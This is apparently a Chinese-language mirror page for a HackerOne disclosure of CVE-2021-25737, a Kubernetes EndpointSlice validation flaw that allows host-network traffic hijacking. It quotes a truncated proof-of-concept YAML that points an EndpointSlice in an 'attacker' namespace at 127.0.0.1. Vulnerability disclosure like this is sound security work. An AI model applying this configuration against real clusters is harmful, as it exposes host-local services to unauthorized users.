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地图 / Holes in EndpointSlice Validation Enable Host Network Hijack

Holes in EndpointSlice Validation Enable Host Network Hijack

访问控制 / 权限提升 / #1145044

厂商
Kubernetes
严重程度
低危 · CVSS 2.7
赏金
—
弱点
权限提升
研究员
@howardjohn
披露日期
2021-09-05
资产
https://github.com/kubernetes/kubernetes
CVE
CVE-2021-25737

该报告还没有中文解读。

原文摘录

摘自原文(1829 字符中的一小部分)
Summary: A user with permission to create Services and EndpointSlices can configure these resources to allow sending traffic to arbitrary ports in the host network.
原文中的代码
apiVersion: v1
kind: Service
metadata:
  labels:
    component: apiserver
  name: hijack
  namespace: attacker
spec:
  ports:
  - name: http
    port: 2020
    protocol: TCP
---
addressType: IPv4
apiVersion: discovery.k8s.io/v1beta1
endpoints:
- addresses:
  - 127.0.0.1
  conditions:
    ready: …

默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Kubernetes 所有。

时间线

  • 报告提交
  • 公开披露
阅读 HackerOne 原文 ↗作者 @howardjohn · 版权归作者与 Kubernetes 所有

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